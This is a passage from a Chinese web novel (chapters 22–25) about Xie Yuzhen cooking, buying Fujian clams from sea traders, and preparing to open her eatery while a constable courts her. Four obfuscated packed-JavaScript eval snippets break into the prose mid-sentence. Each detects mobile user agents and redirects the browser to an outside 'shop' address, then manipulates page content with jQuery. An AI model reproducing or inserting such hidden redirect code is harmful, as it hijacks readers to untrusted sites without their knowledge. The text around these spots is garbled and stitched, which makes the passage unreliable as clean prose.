这便可以了，谢玉珍松了一口气，将锅里的酒糟圆子都盛出来，里面只两碗的量，谢玉珍捞了小半碗汤，她晚上不怎么吃东西，喝碗甜汤就可以了，另一碗盛满，两碗上面都撒上喷香的干桂花，小圆子就让李香君都解决了吧。 酒糟圆子的热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780310|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气不断地向苍穹飘，又被屋顶挡回来，被身躯挡回来，衣服上、屋子里都染上了酒香和甜香。 谢玉珍将汤水喝了，头发丝上染上了桂花的香味，仿佛擦了桂花味的头油。 “我先上去了，郎君早些休息吧。”谢玉珍捂着嘴打了个哈欠，有些困倦了。人就是这样，身上暖了，肚子满了，就想会周公了。 李香君吃着碗里糯软香甜的酒糟圆子，心里泛着一丝丝的甜，比嘴里还甜，他将碗里的食物都吃的干干净净，带着对食物天然的一种崇敬，将铁锅洗干净才回到一边的房间。 房间比较小，窗子开在西南，风透不进来，被褥是暄软的，很是暖和，比他在衙门的通铺暖和多了，还没有粗糙汉子们的呼噜声，隐约间自己身上桂花的浅淡香气氤氲到空气中，传到被窝里，围绕着他，他一夜好梦。 次日天还没亮，他便起身了，院子里并没有什么动静，他穿戴好衣裳物什，将剑配到腰间，打算趁着人间还没苏醒，出门去，省的被人看见，又要多出许多闲话是非。 走到院子里，早上的确是很凉，他脖子暴露在空气中，冻了一个激灵，要是有及腰的长发还保暖一点，不过他一个捕快，只有一个高高扎起的短马尾，还有些炸毛，实在没有御寒的这种功效。 一只灰色的团子从大堂里面滚出来，原来是小狼崽子呜云，它每天早上醒来的第一时间就是找个地方放水，已经养成习惯了，它是一个非常爱干净的小狼，放水只在一个地方：就是后院的一洼菜地。 仿佛是突然见到了什么不得了的东西，它猛地向李香君冲撞过去，龇牙咧嘴的像个小斗士正在守卫自己的家园。 李香君失笑，他拎着崽子的后脖颈就提到半空中颠了几下，由于被掌控了命门，呜云有眼色地不再低吼，呜呜地叫着。李香君便把它放了下去。结果下一秒，它又冲上去咬别人的裤腿，结果显而易见，又被拎起来了。 “鲁莽的小家伙，还挺识时务的。”李香君评价，呜云的眼珠滴溜溜地转，绝对在想什么坏主意。 下一秒——哗啦啦，好一片大水。 幸亏拎地远，否则不尿他身上了，小家伙还挺会埋汰人。 “脏的是你自己。”李香君嫌弃地把呜云放到地上，看着尾巴尖儿被打湿的一条狼眼底颇有些不知名的嫌弃。 他按住呜云的头，忙不迭从后门跑走了，飞也似的速度，呜云都没反应过来，走之前还把门栓用匕首给插上了。 安全问题不可忽视。 天色露白的时候，谢玉珍下来梳头洗脸，见呜云躲在柴垛，像是在躲着她。她心下疑惑—— 难道死孩子又闯祸了？！这个月撵鸡摸狗，也不掂量一下自己惹不惹得起，被村里老母鸡叨好几回了，还有村里一个大娘家养来看家的大鹅，看见它就追。 她走过去把小狼扒拉出来，只看见尾巴上面沾着一坨坨的泥巴，蹲下来就闻到淡淡的尿骚味儿。 “呜云！”院子里传来少女的怒吼声。 22. 存在于祖母嘴里的油蛤 谢玉珍任劳任怨地烧水给呜云洗了一个热水澡，小家伙自觉地蹲坐在灶洞边晾毛。 只是一只小崽子而已，谢玉珍忍耐，她一点都不生气。 明日店里便要正式开张了，一想到这她心底还有些紧张和欣喜，日子一日胜一日的好起来了，她喟叹。 天气渐渐寒了，她打算给它做一件小衣裳避寒。她在灶前炒了一碟腌雪菜和清炒黄豆芽，早上和晚间都不宜吃的过分油腻，这样清粥小菜的对身体是最好的，她还想着长命百岁呢。 雪菜是去年年底，煮过再晒干后切成碎末拿盐块腌在瓦罐坛子里的，今年拿出来吃味道已经很好了。腌制好的雪菜用手捞出来两把，锅里油滚后丢进去爆炒，油不能放太少，雪菜是很吸油的。 如果是当个正菜吃，雪菜炒鸡蛋便是极好的。 清炒黄豆芽油要少一点，一滴水都不能放，豆芽菜本身炒熟后会析出很多水分，再放水就成豆芽汤了。 拿长段的葱白炒最妙，既有葱的香味，还没有很重的葱腥味，她是向来不爱吃葱的，不过嫩的葱白却是可以接受的。 豆芽菜不能久炒，炒到断生就撒盐，再翻炒，把盐分翻炒均匀就可以捞起来了。 就小菜吃的话，粥得熬的稠稠的，凉了粥面能结一层米浆膜最好。 一日之计在于晨，一人食足矣。 谢玉珍先是单独喝了一口白粥，感受过微甜的原味后，挟了一筷子蓄着喷香猪油的雪菜放进粥里，拿木勺搅匀,再挟一筷子豆芽放在碗边边，一口豆芽一口雪菜拌粥吃着。 吃粥的时候时不时就能嚼到梗啾啾的雪菜，粥里有炒腌菜独特的油香，下一口又是一筷清脆的芽菜，有主有次，幸福感蔓延进每一个细胞。 说到木勺，也是有讲究的，吃粥和汤最好用木勺，冷的快不烫嘴，吃起来不拖泥带水，比较方便和爽快，早上的粥如果不是酣畅淋漓地吃下去，总感觉就没那么美味了。 厨房刚煮过饭，也暖和，在暖和的室内吃暖和的食物，寒冷的天气里没有比这更好的了。 谢玉珍胃口小，吃过一碗半就吃不下了，剩下还有半瓦罐的粥，她挖出来两碗的量，把昨晚工人吃剩的下水和粥混匀，搅温之后把豆芽菜放进去，倒进了呜云的饭碗里，呜云正在长身体，吃的比她多多了。 当然，天天吃肉现在肯定不可能，她吃什么它就得吃什么。 所幸小家伙一点也不挑食，跟小猪仔拱食一样，吃的不亦乐乎。 谢玉珍把锅碗刷干净后，今天的工人也就到了，今天的活儿干完下午让张夫子题好字就可以上牌匾了，明天就可以正式开张了。 这几日分文未曾进账，她多少心慌，明日就又能开始赚银子了，她心里就轻松多了。 外面工人先是喝了茶水，然后就麻利地干起活儿来了，虽说这些人有时嘴上没个把门儿的，但是有活儿是真卖力干啊。 “女兄！”谢朗背着一个包袱进门，见人多，脸倏忽就红透，今日书塾里放学两日，他早得知女兄在县里租铺子了，便径直来食肆这边了。 “后院离前院最远的是书房，你先去把东西放好。”谢玉珍有些好笑，连忙招呼说道，周围人也善意地笑，他们是很尊重读书人的。 “好。”谢朗点头应答，小跑着往后院去了。 说是书房，其实就是专门辟了一间光线好的空屋子放些桌椅炉子，并没有什么书房的样子，至于书，年底到明年开年，就得靠谢朗自己抄书了，书籍价格昂贵，而且有些书籍并不在店里售卖，这种是最方便实惠的做法。 谢朗把在书塾里写过满意的字收拣好，他的毛笔是最便宜的竹笔，纸张也不过最便宜的草纸，不过练字也尽然够了。 “回来歇几日回去？”谢玉珍倚在门边问，光线逆着她照进屋里，看不清脸，一时分不清是黄粱一梦中还是在现实里。 “后日回去。”谢朗老实回答，走到门边，有些抱怨地撒娇，“书塾里厨子大叔做的饭不好吃，大家都不喜欢，上次女兄给夫子的栗子糕好吃，课上坐我一边的同窗吃了就答应借书给我抄呢。” 谢玉珍温柔地摸谢朗的头，声音温柔：“哎呀，咱们朗哥儿去书塾不过一月就交到朋友了，真棒！” 朗哥儿好像长高了，谢玉珍疑惑间伸手比了比，确信，的确是长高了。 原来到她小腹这里，现在长高了几寸。是到长身体的时候了，她想。 “夫子说明日要带张二郎和张娘子来捧场呢。”谢朗想起什么，补充说道。 “怎么说的，他长你五六岁，你该叫声兄长才是。”谢玉珍皱眉，食指轻轻顶了一下他的额头，提醒道。 “我知道啦。”谢朗乖乖听训，心里却不服气，自从上次张家二郎语出不逊冒犯他女兄，他就一直看他十分的不顺眼，但在女兄面前，却不能说实话，真是气煞人也。 谢玉珍让开路，走到一边厨房拿起一个竹篮，叮嘱说道：“你来了正好，我去菜市买菜去了，你看着有没有人手脚不干净，我回来告诉我。” 谢朗点头，谢玉珍便出门去了。 “对了，瓦罐里有粥，你没吃过早食的话自己热一热吃了吧，灶边有碟被扣着的雪菜。”谢玉珍想起什么，回头说道。 菜市里正是人多的时候，谢玉珍迅速就锁定了卖小鱼的摊子，将小鱼买好后，买了几根葱后，看见码头边停着一艘商船，远远就散发着一股海腥味儿。 菜市离码头很近，他们这个县横穿一条大河，因此河鲜都比较便宜，买卖生食的地方就在河边的地方。 一群人涌过去看热闹，也有一群人捂着鼻子回来。 谢玉珍有些好奇，挪到一个面善的大娘边柔声问：“我看娘子从那条船过来，怎么没买什么呢？” 那路人本有些警惕，一见是个明眸善睐的姑娘，舒展开眉眼：“我们上去看了，是些小蚌壳，半生不死的，腥臭，挺便宜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780311|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，但也没人敢吃啊，同样的银子，还不如买条鱼回去，全家高兴。”她摇着头说道。 谢玉珍更好奇了，告别了大娘，踏上了大船，船板有些黏腻，她上去差点就打滑了，她松了一口气，还好没摔倒，不然丢人丢大了。 甲板处一筐一筐，全部都是带着些花纹的灰色贝壳，走近就有很重的腥味儿，这个他们这边绝对没有，甚至从来没见过。 游商带过来的东西，还是海商。 来来往往的人，愣是没有一个人买的。个个捂着鼻子嫌弃地走了，其实腥味是重，但也还没到臭的地步，毕竟还没死，但可能是因为太新奇加上味儿，大家都接受不了。 谢玉珍走近去看，从筐里捞出一个，看久了才想起来，这东西模样很是眼熟，她有些发愣，这是有关祖母的久远回忆。 那时候她还小，只在谢祖母的嘴中听说了一道贝肉辣汤，一直到十岁都念念不忘。 “这贝壳煮着煮着，自己就开了口，辛辣的汤汁就进去了，贝肉的鲜也出去了，想想都特别鲜，可惜啊，吃不到了。”谢祖母说着说着就笑，眼睛里面全是怀念，在怀念什么呢，亲朋、挚友、金银还是什么？ 难道是故乡？ 她到现在都没想明白。 “这个多少钱？”谢玉珍开口问一边的船夫。 年轻的船夫见终于有冤大头要买这个东西了，喜不自胜，强忍着笑容上前介绍。 “这是我们从福州那边运过来的，这边可没有呢。”他介绍，“好像是说叫油蛤来着，你诚心要，两文钱一斤？”他试探地说出一个价位。 “一文钱。”谢玉珍把手上的油蛤丢回筐里，“一文钱，但凡没死的，我就都要了。”谢玉珍淡淡地说道。 “好咧！您这，唉，我们就吃这个闷亏吧。”那船夫长吁短叹道，谢玉珍心知对方是装的，懒得拆穿。 “送到南巷第七间屋子。”谢玉珍说道，她就先离开了。 两边都满意，这算是误打误撞了。 谢玉珍又在菜市挑了些下水回来，中午打算做辣炒小鱼和莲子饭，这些招呼工人，她已算是头一等仁厚的东家了。 回到家里，众人见她回来，连忙让出一条路让她过去，小声讨论着中午东家会提供什么吃食，粥是稠还是稀。 谢玉珍走远了听不见他们讨论什么，将小鱼倒进木盆中，一个个拿剪刀开一个小口挤掉内脏，像这种小鱼，如果没有去除内脏，做出来会发苦，并不好吃，还不如不做，简直浪费。 她将小鱼处理干净后，取出芥菜疙瘩切片，韭菜切段，谢朗照常把锅烧热了，芥菜疙瘩和蒜末油滚后下锅炒香，然后放小鱼，小鱼炒到熟透，最后放葱段，炒制几下盖锅盖焖一炷香，就可以出锅了。 一边的另一个灶上下米和新鲜莲子，加水开蒸。 接下来她打算做一道猪肝汤。 “掌柜的，门口有人来！”一个工人的声音传来。 23. 爽快是不会有感触的 谢玉珍让几个船夫把东西送到后院，滤掉水后称重。 “去掉死了的，带壳一共贰佰叁拾伍斤。一共二百三十五文钱，你当场掂量清楚，出去再说少了，我可不认了。”谢玉珍拿出袖袋里的银子，绞下来一块。 她将腰间的小称取下来称量，秤杆向上翘了些，原是多给了，她便又绞下来一点，称的刚好后交给对方。她见对方把银子直接塞进袖子里，连忙出声提醒。 “何必称，不过这点钱掌柜的何必贪这便宜？”为首的船夫笑出声，“便是我看走了眼，自然也有本事叫你加倍吐出来。” 他们做船商的，风里来雨里去，用一条命来搏取金银，若没有点儿门路，怎么可能做到能买大船的地步，早死在海里了。 谢玉珍心下也明白，不过她的称没有问题，她可不亏心。 “你们什么时候离岸？”谢玉珍问道。 “两日后，边往北边走边卖货，年关将至。”船夫说，“想娃，想家啊。”他叹息一声，眸光穿越空间仿佛能望到家里娘子正在为过冬准备白菜和腌菜。 谢玉珍冷得缩了缩脖子：“天气是越来越凉了，明日食肆开张，您和您兄弟们方不方便来这里吃宴席？”她问道，她听闻对方海商的身份，有些想结交的意思。 “感情好啊！”船夫高兴地应答，“兄弟们可半个月没好好吃饭了，明日我们可得尝尝掌柜的手艺，过个嘴瘾再出海！对了，我姓秦，掌柜看着年纪不大，我便托大一次，叫我一声秦叔，还没问过，掌柜贵姓啊？” “免贵姓谢。”谢玉珍回答道。 “好了，不说了，我们这就回去了。”船夫见其他人把木桶都抬出去了，拱手道，在水上飘了这么久，他们今日可得在陆地上好好休息一番呢。 半个月没睡不会摇晃的床了。 谈笑间，厨房传来莲子饭的香味，两人本就站在院子和大堂交界的地方交谈，这香味一下子便飘摇过来，带着莲子的甜香，让人闻之欲醉。 秦叔顺了一口口水下喉咙，不知怎的突然就分泌了，跟吃了酸梅子似的。 本来早该离开脚下这块砖的身子愣是一寸都没动，两人视线都自觉躲闪开，场景一时间有些尴尬。 “要不，留下吃点？”谢玉珍犹豫着开口。 “那不是太麻烦掌柜的了！”秦叔喜笑颜开，虽是这么说，身子却直接坐到了大堂中工人吃饭的桌子边。 蹭饭的。谢朗从书房探头，腹诽道。 “大哥，我们……？”其他船夫凑到秦叔身边，期待地暗示道，他们也闻到了呀，他们也想吃！ “去去去！”秦叔变脸，“尽给人家添麻烦，自己街上买去！”他从怀里随意掏出一个钱袋抛出去，里面大概几十文钱，够这些大男人吃饱喝足的了。 这文雅的家常菜他勉为其难自己消受了。 他边上一个船夫接过钱袋，努了努嘴，招呼其他人一起出去了。 谢玉珍默默回到厨房，她猪肝汤还没做呢。 “谢小娘子！谢小娘子，我们来啦！”沈二明亮的声音从堂前传到后院，谢玉珍一瞬间便听到了。 她半掀开布帘，疑惑地往堂前看，原来之前一直在她摊子前吃汤饼的几个捕快都过来了：“明日方才开张，郎君们怎么现在过来了？”她疑惑地问。她饭也没煮这么多啊。 “我们过来交银子，我们都商量好了，以后当值朝食和午间都来这里吃，索性一次性把银子交上，多了挪至下月，少了下月补上。”沈二站在李香君身后笑着说道。他将十两银子丢过去，谢玉珍险险才双手接住。 “太多了。”谢玉珍看着手里的银子，有些肉痛，但还是坚持原则，这么多银子，再来多一倍的人也尽数够了。 “谢小娘子看着挪到下个月不就得了。”沈二坐到一边没个正形儿，几人各自围坐在一圆桌上。 谢玉珍将银子揣了揣，让谢朗放到存银子的木箱里。 猪肝汤的猪肝要切的足够薄，口感才会好，谢玉珍以最快的速度切好了鲜猪肝片，反复用清水洗掉血沫，攥干水分后放些盐碎、黄酒和面粉抓匀腌制三炷香时间。在这个时间里，谢玉珍把波菜择干净，焯水一遍后放至一边备用。 猪肝腌好后，趁着灶里火没有熄灭，锅里加水烧滚，把猪肝再焯水一遍，谢玉珍用锅铲把猪肝片搅散开，因为猪肝切的足够薄，不一会儿就从紫红变成了白色，焯水的过程锅边不断浮起灰白的沫子，谢玉珍仔细用锅铲撇干净。 猪肝片全部白了之后便可以放入波菜了，最后放入少许盐碎，切些姜丝放进去，便算是好了。 “朗哥儿，把碗拿出来！”谢玉珍唤道，她走到另一个灶边，将锅盖揭开，一大股水雾涌上来，她反射性躲开。 这次又没烫到。 每个碗里都盛了大半碗莲子饭，每个碗里一边堆着韭菜炒小鱼一边堆着她自己做的腌萝卜，堆的高高冒尖。 工人每个人一大碗，多了也没有。 她和谢朗将碗筷一一摆到工人桌上，大家也不争抢，按照年纪顺序拿。秦叔因为是外人，拿的是最后一碗。 猪肝汤是用一个汤盆盛着端到桌子上的，他们吃完碗里的饭了自己盛就好了。 “是大米！”一个年轻一些的拨开菜，看到底下露出的晶莹的白，凑到一旁惊讶地小声跟年纪大一些的谈论。 他们之前觉得最多也就是稠粥而已，竟然是米饭，如此奢侈？ 要知道现在大部分人一日两餐吃的大部分是粥，能吃干饭，只在难得奢侈的时候。 这掌柜居然给他们包的午食是米饭，还有两个荤食，真是难得的善人。 “下午好好干。”年长的沉默了一会儿，开口叮嘱桌子上的人，“今日下午收尾，大家干好自己的事，千万别出纰漏，要又快又好，否则下次再有谢掌柜的活儿，我可不叫你们了！” “我们心里知道咧！”大家异口同声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780312|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道。 工人们珍惜地将第一口米饭送进口里，干饭和粥的感觉是完全不一样的，米粒费咀嚼，咀嚼之间嘴里涌起淡淡的甜，莲子和饭一起被煮透，比粉藕还要粉，轻轻一抿就化在嘴里了，味道很清新。 然后才开始品尝炒小鱼，这种小鱼是他们这边河边现捞现卖的，最多只能长到手掌大小，刺相对比别的鱼会少一些，大部分人都是把它晒干后食用。 掌柜的不吝啬放油水，小鱼内脏去除的干净，一点苦味都没有，只有河鲜独有的鲜美，带着韭菜辛香的鲜颇让人有些上瘾。 一旁的酸萝卜嚼着“咯吱咯吱”的，咸味一下子占据味蕾的顶峰，此时立马吃一口饭，和萝卜丝一起大嚼。 他们只感叹——太下饭了！ 谢玉珍给他们用的都是脸盘大小的平碗，因此分量是够的，每个人都可以吃饱。待吃完碗里的饭，嗅觉便被桌子中央的猪肝汤吸引过去。 这时候再打眼一望进去，眼睛就很难拔出来了，菠菜和猪肝片白的白，绿的绿，汤水如同米汤，看着就耳目一新，顿时又觉得胃里可以再挪出一点位置。 一般来讲，猪肝很难做的没有沙沙的口感，但这碗汤里的猪肝完全没有。秦叔端着碗嘬了一口，夹起一块猪肝片塞进口里，大概是因为切的足够薄，火候把控到位的问题，这个猪肝片很嫩。 汤里飘着几根姜丝，所以有淡淡的辛辣味道，波菜的存在是点睛之笔，塞进口里感触便翻一层，浸满汤汁的菠菜完全没有肉腥味儿，只人人觉得香，吃完后便没有感觉。 因为爽快是不会有感触的。 天气冷，吃完汤里的料汤水就冷却的刚刚好，这时候再将汤一口一口喝进肚子里，别提有多熨帖了。 “谢掌柜，你手艺真好！”秦叔大声夸到，“虽然都是些家常菜，但别人和你完全不能比啊！这么多年，这是我吃过最好吃的猪肝了。再一想，船上的兄弟做的那叫饭吗！” 他抱怨道。 谢玉珍在后厨做饮子，之前给李香君喝过的莓子紫苏饮，赶着秋天的尾巴，到冬天就不做这个了。 她将饮子放到几个捕快那桌，这次还是用的喝茶的白底青花陶瓷盏，一边放着个白色勺子，勺子底釉面上有小金鱼。 “谢小娘子好雅致啊！”沈二看向饮子，“这饮子放进这杯盏，也不枉它出窑一次了。”他夸道。 “哪里。”谢玉珍轻笑，“郎君们要吃什么？我看厨房有没有材料，没有的话我叫个闲汉去买来。” “谢小娘子不必麻烦了，我们就过来交个银子，在衙门那边已吃过了。”沉默良久的李香君突然开口。 “那郎君们自便。”谢玉珍闻弦音知雅意，退到后院去了。 “李兄，你刚才掐我干嘛？”见人走远了，沈二一脸疑惑地问，丈二和尚摸不着头脑。 “你刚才打算说什么？”李香君一下一下用勺子敲着盏边，眸光凉如河水，威胁似的发问。 24. 油蛤辣汤 “我不是为了你好？”沈二揉着大腿，凑过去低声抱怨，“你要掐死我啊！” 李香君白了他一眼，警告道：“别起哄。”他倒是无所谓，一个女人的名声哪是那么好作玩笑话的，什么暧昧起哄言语，有时可以杀人。 “最近县上多了许多陌生人，最近得加强巡逻，维持好县上的安定。”李香君吩咐道，“刘五那队人不消搭理，省的年底多出许多错处来。” “这个我们省得，不过想想刘五那人小人得志的嘴脸，心里总是不爽快。”沈二一只手臂放到桌面上，舌头把脸颊顶地鼓起来一瞬，一脸不爽的神情。 “忍过年底就好了。”李香君叹息一声，有些无可奈何，“县令明年开春就上调去别的地方了，不会把他们带去上任。那是他们自然是扒了筋的虾米，蹦跶不起来。”他眼皮耷拉下来看杯盏里的饮子，心情立马舒畅很多。 这个颜色不得不说，粉嫩粉嫩的，让人看着心情开阔。 “这个饮子真新奇，酸滋滋、甜滋滋的，还有点儿刺舌头。”一口水在嘴里巡逻了一圈，沈二才将其咽到肚子里，评价道，“可惜天气渐渐凉了，如能热热饮下去，还更舒爽呢。” 另一个衙役有些不好意思地说：“不过总感觉是些小娘子的消遣饮食，我个大男人喝着怪不好意思的。” “我说徐兄，”沈二揽过对方的肩膀，语重心长地说道，“物以价定，哪有分男女的？你这思想哪个老不修灌进去的？” 这位姓徐的衙役一时有些囧，只好说道：“以后我可不说了，说不过你。” 厨房中，谢玉珍将瓜子和熟花生放在盘子里，然后端出来放到李香君那一桌，谢朗提了一壶热茶出来。 “多谢谢掌柜。”李香君仰头去看女子的眼睛，目光炙热，谢玉珍被烫得撇过头去。 若是寻常女子，此时被这样一双含情的眸子望着，不免会侧过身子，用手帕捂住半张脸，羞涩地转头回望，红着脸颊垂下眼皮。 谢玉珍心里多少知道对方的心意，可她对对方却的确没有几分旖旎的心思，况且也并未做好谈情说爱、谈婚论嫁的准备。 李香君帮她诸多，她是感激的，可现在，也仅此而已。 “谢掌柜，”秦叔喝完碗里的汤，用手背抹了两三下嘴巴，站起身来，“我就先走了。” 几个工人也都吃干净碗里的食物了，谢玉珍上前把碗筷都收进去，准备清洗了。 李香君见工人都吃好了，停止交谈，拿起佩刀起身：“回衙门。” “好咧头儿！”沈二几人也跟着站起身，临走前一人抓了一把瓜子花生才一个个出去了。 他们这些人油滑惯了，可懒得给谢小娘子添麻烦。 “头儿，我看谢小娘子可一天比一天漂亮了。”沈二磕着瓜子调侃，“还做得一手好菜，算账理财、待人接物，各个没得挑，你再不下手，这朵娇花被别人采去了可别后悔哦。” “就是啊头儿，一家有女百家求，你长点儿心啊，人家都看不出来你的心意。”一边的衙役都替他着急。 李香君皱着眉头：“什么娇花，混不吝的，这话可能在街上说？”他锤了一下沈二的胸膛，沈二一时没察觉踉跄了一下。 接着又笑着跟了上去：“哎呀头儿，终身大事，我可为你着急着呢。” “不急。”李香君目视远方，他是喜欢对方，可也没有到纠葛不休，非卿不可的地步，更不愿意有误对方名声。 再说了，谢小娘子不喜欢他，可也不喜欢别人啊。 望着高高悬挂的日头，深秋了，日头从金灿灿变成了黄白，没有那么刺眼，这日子，也越来越有盼头了。 谢玉珍并未将那个眼神放在心上多久，她捞了半盆油蛤装满水，吐沙一段时间。 不一会儿，堂中又传来工人的声音：“掌柜的，有人来！” 是谁呢，这个时间还过来干嘛。 谢玉珍一头雾水地过去，放眼看去还有些眼熟，走近一看，原来是秦叔身边的一个船工。 “掌柜，这是我们秦哥让我送过来的。”他将一个小包袱交到谢玉珍手上，转身就走了。 谢玉珍回到后院，打开包袱一看，是一些带着青色梗的红色干果子，果身细长，尾巴有些轻微的翘起。晒得干瘪，果子上还有一些细小的灰尘。 谢玉珍拿起一个，谨慎地凑到鼻尖闻了闻，闻起来没有什么味道，她将红皮撕开，里面立马洒落了一些淡黄色的东西，纷纷落在了桌面上，一股辛辣的气味也顿时散开。 “咳咳——！”谢玉珍被呛地剧烈咳嗽起来，这太够劲儿了。 “女兄，你怎么了！”谢朗听到动静，连忙从书房出来，紧张地看谢玉珍，上下左右的观察着。 他走近便也闻到了味道，但由于离的不够近，并没有被呛到，他连忙倒了一盏凉水递给谢玉珍，谢玉珍一口气将水喝下去，咳了几下才缓过来。 这时她才想起来，拾起桌上四散开的黄白东西，放了一颗在手心，这东西长得和铜钱一样圆不隆冬的，就是中间没有洞，极小一个，用指甲拨弄到反面，两面长得一个样子。 “没事，”谢玉珍回复小弟，然后又观察起了这个东西，“这闻着比姜和花椒刺激多了，不知道能不能拿来做菜。” “我瞧着像海椒。”谢朗凑近看了几眼，捂着鼻子说道，“我和同窗在一家书社的一本游记看到过，这东西长在南边一个海岛上，所以叫海椒，可以食用的，只是说没谁把这个晒干的。” “既然可以食用，那这东西想必就是种子了。”谢玉珍望着手里的黄白片，有些激动，小心翼翼地找到一个小陶瓶，将这些都捡起来丢了进去，“可以先在这个院子种种看。”她说道。 晚上的油蛤辣汤，也可以用这个而不用芥菜疙瘩了。 工人做完活儿后，谢玉珍把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780313|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这几日的工钱都给他们结清了，工人们这几日做活儿用心，她都看在眼里，因此都多发了几文。 “谢掌柜，下次有什么活儿，可还得找我哈。”为首年纪大一些的长者脸上堆着笑，微微弯着腰，“掌柜也看到了，我们这些人做的快又好，也没有偷懒耍滑的，下次有什么机会，还请掌柜的关照我们的营生。” “天色晚了，老伯快回去吧。”谢玉珍坐在桌边发完钱，开口说道，“这几日我都看在眼里，我心里有数，明日早上，老伯叫几个年轻力壮的小伙儿，过来把牌匾装上去。” “好咧好咧！”那老伯笑的开心，微微弓着身子带着其他人一起出去了。 此时太阳快下山了，天地都是暖融融的金色，透过树木枝叶照过来还可以看见光圈，这些人就这样穿过光回家去。 谢玉珍见油蛤的沙吐地差不多了，便放进锅中加水焖煮，而另外一个锅，才是味道的关键，她挖了一块猪油下热锅，猪油在锅底的高温下很快就融化成黄澄澄的油水。 而在油热的这个时间，捡几个海椒出来，切成段，这次她有心理准备，没有被呛到，她注意着把种子都挑到一边，这汤用外面红色的干掉的肉就好了。 蒜瓣由于之前在水里泡了一段时间，很容易就把皮和肉分开了，而且皮不会飞的到处都是。 蒜剁成沫，葱切成段，两者一起下油锅炒香，最后放入海椒皮，在油温的刺激下，海椒的味道直冲天灵盖，让她恨不得离开厨房。 而后把炸干的蒜末和葱段等渣都捞起来，锅里只留油。 此时门外有传来叫卖豆腐的声音，谢玉珍便让谢朗出门买了几块。豆腐大概是今天刚做的，热腾腾地冒着气，谢玉珍挟了一小块，入嘴是很浓的黄豆香，不加油盐也很美味，是食物最原初的真味。 豆腐大概率压的不是特别久，介于嫩豆腐和老豆腐之间，这种状态其实很少能在专门卖豆腐为生的人手上买到，可能是残次品，谢玉珍想。 她将豆腐托在手上切块后，放进锅中煎，由于油足够，并不存在煎糊的风险，等一面煎的金黄了后，再翘起来煎另一面，熟了之后捞起一盘，就是单独的一盘煎豆腐的菜。 剩下的一半加水没过，锅里转为平静。 这个时候去看油蛤的状态，她搅了几下，把零星两三个没开口的挑出来放到一边，其他都捞起来转到另一个锅里。 等装着汤的锅沸腾了，加些盐再煮几秒钟，就可以捞起来吃了。 她中午只空闲的时候吃了些瓜子花生，此时早间的粥早消化了，整个人被辣味刺激地饥肠辘辘。 中午煮的莲子饭还剩四五碗的样子，她也懒得再热了，舀几瓢汤到碗里自然就热了，她想。 “朗哥儿，出来吃饭！”谢玉珍轻轻敲书房的门，说道。 “来啦！”谢朗应声，从书房一出来就闻到了温暖的辣香，他由衷感叹，“好香啊。” 25. 油蛤辣汤；堂前燕开张 谢朗自己把两碗饭盛好，厨房有个小桌子，本来是之前油铺伙计们吃饭用的，油铺东家撤走的时候东西就没搬走，谢玉珍见也还能用，就留下来自用了，左右不待客的时候用这个是合适的。 谢玉珍在门沿边蹲下，用剪刀撬开没煮开的油蛤，里面还有汤汁，这几个油蛤也不是坏了，只是没和其他油蛤一起煮熟，谢玉珍怕煮久了油蛤里面的肉会老，就把这几个捞起来了。 “呜云，来。”谢玉珍捏着没肉的一边壳伸到呜云嘴边，轻声唤道，呜云闻到壳里面肉的味道，头伸过去用舌头卷，很快就把软肉给舔下来了。 谢玉珍正打算丢掉壳，发现壳里还有一块圆柱状的肉牢固地扒在上面，她便用指甲挑扣下来，喂到呜云嘴里了。 没熟的油蛤就两三个，谢玉珍逗弄着呜云之间就消耗掉了。 谢朗喊了两声，谢玉珍才走过去。 摇了两勺带豆腐的辣汤到碗里，因为一次只装了半碗饭，所以两勺汤下去后也才刚到碗沿两指的位置，把凉掉的米饭在热汤里搅散开，滚烫的汤水的热量被带走一半，米饭变得热乎起来，这时才是刚刚好可以入口，不会烫舌头也不会凉的程度。 